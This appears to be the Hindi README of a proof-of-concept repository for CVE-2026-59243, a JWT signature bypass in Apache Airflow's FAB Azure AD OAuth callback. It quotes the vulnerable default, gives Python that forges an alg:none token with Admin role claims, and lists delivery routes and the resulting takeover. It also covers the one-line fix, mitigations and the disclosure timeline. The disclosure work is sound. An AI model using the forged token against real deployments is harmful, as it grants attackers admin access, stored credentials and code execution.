
CVE-2026-59243 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो असुरक्षित डिफ़ॉल्ट के कारण Apache Airflow FAB Auth Manager के Azure AD OAuth कॉलबैक में JWT सिग्नेचर बाइपास को प्रदर्शित करता है।
कोरियाई: README.ko.md
apache-airflow-providers-fab==3.7.3Apache Airflow का FAB (Flask App Builder) Auth Manager _decode_and_validate_azure_jwt() में Azure AD OAuth id_tokens को डिकोड करता है। उस फ़ंक्शन में verify_signature का डिफ़ॉल्ट मान False था।
# providers/fab/.../override.py (रिपोर्ट के समय पंक्तियाँ 2331–2341)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← डिफ़ॉल्ट False है
)
if verify_signature:
# authlib JWK सत्यापन, दावे लौटाएँ
...
# डिफ़ॉल्ट पथ: हस्ताक्षर सत्यापन पूरी तरह छोड़ें
return jwt.decode(id_token, options={"verify_signature": False})
जब तक कोई ऑपरेटर client_kwargs में स्पष्ट रूप से verify_signature: true सेट नहीं करता, पूरे लॉगिन प्रवाह के लिए हस्ताक्षर सत्यापन बंद रहता है। जो भी टोकन आता है, उसके दावों को कॉलर की पहचान के रूप में स्वीकार कर लिया जाता है।
उसी फ़ाइल में स्थित Authentik एकीकरण का डिफ़ॉल्ट True है:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← इसका डिफ़ॉल्ट True है
)
एक ही फ़ाइल, एक ही आकार, विपरीत डिफ़ॉल्ट। यही अंतर पहली बार मुझे संकेत देता है कि Azure का डिफ़ॉल्ट कोई नीति विकल्प नहीं था।
मान लें कि Airflow FAB Auth Manager + Azure AD OAuth के साथ तैनात है, client_kwargs को छुआ नहीं गया है। (डिफ़ॉल्ट इंस्टॉल।)
अपनी पसंद के दावों के साथ एक alg: none JWT बनाएँ:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # अंत में डॉट: खाली हस्ताक्षर
उस टोकन को OAuth कॉलबैक (/login/azure/authorized या जहाँ भी एकीकरण माउंट किया गया है) पर पहुँचाएँ। आप इसे वास्तव में कैसे पहुँचाते हैं यह तैनाती के अनुसार भिन्न होता है: गलत कॉन्फ़िगर किए गए TLS-समाप्त करने वाले प्रॉक्सी के माध्यम से MITM, ढीले redirect_uri सत्यापन वाला एक खुला रीडायरेक्टर, या क्राफ्टेड state के साथ सीधे कॉलबैक को हिट करना। जो भी लक्ष्य आपको देता है उसे चुनें।
जिस क्षण टोकन कॉलबैक तक पहुँचता है, FAB _decode_and_validate_azure_jwt को कॉल करता है, डिफ़ॉल्ट पथ में गिर जाता है, और जाली दावों को सत्र को सौंप देता है। चूँकि आपने roles: ["Admin"] भेजा है, अब आप एडमिन के रूप में लॉग इन हैं। Airflow पर यह प्रभावी रूप से सब कुछ है: कनेक्शन, वेरिएबल्स, Fernet कुंजी, और नया DAG धकेलकर वर्कर के रूप में मनमाना कोड निष्पादन।
तीन अलग-अलग मूल्यांकन तीन अलग-अलग स्थानों पर पहुँचे, जो वास्तव में जानकारीपूर्ण है:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:Lmoderateमेरे और NVD के बीच का अंतर एक मीट्रिक है: AC। मैंने इसे H चिह्नित किया क्योंकि मैं MITM डिलीवरी पथ के बारे में संकीर्ण रूप से सोच रहा था। NVD के विश्लेषक ने AC:L के साथ जाकर कॉलबैक के सामने id_token लाने के किसी भी तरीके (सादे OAuth-प्रवाह दुरुपयोग सहित) को सामान्य हमलावर क्षमता के रूप में माना। विचार करने पर, AC:L अधिक बचाव योग्य पठन है — टूटी हुई हस्ताक्षर जाँच का दुरुपयोग करने के लिए आपको सख्ती से पथ पर होने की आवश्यकता नहीं है। यही कारण है कि NVD/Strix 9.8 पर पहुँचते हैं, और यही स्कोर अधिकांश CVE डेटाबेस और स्कैनर में दिखाई देगा।
Apache का moderate उनके अपने जोखिम मॉडल से एक अलग निर्णय है, जो प्रभाव की सीमा की तुलना में "वास्तविक तैनाती में यह पूर्व शर्त कितनी सामान्य रूप से उत्पन्न होती है" पर अधिक भारित है। 9.8 के साथ असंगत नहीं — बस एक अलग प्रश्न का उत्तर दिया जा रहा है।
एक अक्षर।
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Azure के डिफ़ॉल्ट को Authentik के साथ संरेखित करता है। यदि किसी को वास्तव में हस्ताक्षर सत्यापन बंद करने की आवश्यकता है (उदाहरण के लिए, ऑन-प्रिमाइसेस Azure AD प्रतिकृति पर स्व-हस्ताक्षरित JWKS), तो वे अभी भी client_kwargs में verify_signature: false के साथ ऑप्ट इन कर सकते हैं। डिफ़ॉल्ट रूप से असुरक्षित भेजने से कहीं बेहतर आकार।
2026-07-07 को PR #69374 / कमिट 54259ae के रूप में विलय किया गया। 2026-07-28 को apache-airflow-providers-fab==3.7.3 में जारी किया गया।
यदि आप तुरंत अपग्रेड नहीं कर सकते हैं, तो इसे webserver_config.py में स्पष्ट रूप से सेट करें:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
इसके अलावा: OAuth कॉलबैक को सख्त redirect_uri अनुमति-सूची के साथ केवल HTTPS रखें, और यदि आपके पास यह सोचने का कारण है कि आप हिट हुए हैं तो Airflow Connections में रखे किसी भी क्रेडेंशियल को घुमाएँ।
Docker + pwntools poc/ के अंतर्गत सेट:
poc/server.py एक छोटे Flask ऐप में कमजोर पथ (jwt.decode(..., options={"verify_signature": False})) को अलग करता है।poc/exploit_airflow_jwt.py JWT जाली बनाता है, कॉलबैक को हिट करता है, और एडमिन दृश्य से प्लेसहोल्डर रहस्य डंप करता है।poc/Dockerfile और poc/docker-compose.yml लक्ष्य को 127.0.0.1:5002 (लूपबैक बाइंड) पर लाते हैं।एकल कमांड:
cd poc/
./run.sh
यदि आप इसे साझा मशीन पर चला रहे हैं, तो शुरू करने से पहले compose बाइंड की जाँच करें।
असंबंधित रीफैक्टर ने मूल रिपोर्ट और वर्तमान main के बीच पंक्ति संख्याएँ बदल दीं। फ़ाइल पथ अपरिवर्तित है।
फ़ाइल: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (यह फ़ाइल)
├── README.ko.md कोरियाई संस्करण
├── LICENSE MIT
├── check_advisory.sh प्रकाशन वॉचर (पुन: उपयोग के लिए रखा गया; वर्तमान में निष्क्रिय)
├── patch/fix.diff एक-अक्षर समाधान (रिपोर्ट-समय की पंक्तियों से जुड़ा)
└── poc/ Docker + pwntools PoC
[email protected]MIT (LICENSE)। PoC केवल पुनरुत्पादन और रक्षात्मक अनुसंधान के लिए है। इसे उन सिस्टमों पर इंगित न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित प्राधिकरण नहीं है।
| प्रतीक | रिपोर्ट के समय (2026-03-18) | ठीक किए गए main में (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (डिफ़ॉल्ट False, कमजोर) | 2428–2438 (डिफ़ॉल्ट True, ठीक) |
_get_authentik_token_info() | 414–416 (डिफ़ॉल्ट True, सुरक्षित) | 419–420 (डिफ़ॉल्ट True, सुरक्षित) |
| तिथि | घटना |
|---|
| 2026-03-18 | [email protected] को रिपोर्ट किया गया |
| 2026-03 से 2026-07 | Apache की ओर से देरी; एक Airflow PMC सदस्य ने बाद में पुष्टि की कि प्रारंभिक रिपोर्ट छूट गई थी |
| 2026-07-03 | पहली प्रतिक्रिया |
| 2026-07-04 | CVE-2026-59243 सौंपा गया, क्रेडिट जानकारी भेजी गई |
| 2026-07-07 | समाधान विलय (कमिट 54259ae, PR #69374) |
| 2026-07-28 | apache-airflow-providers-fab==3.7.3 जारी किया गया |
| 2026-07-29 | MITRE CVE रिकॉर्ड PUBLISHED, Apache सलाह [email protected] पर पोस्ट की गई |
| 2026-07-29 | यह रिपॉजिटरी सार्वजनिक हुई |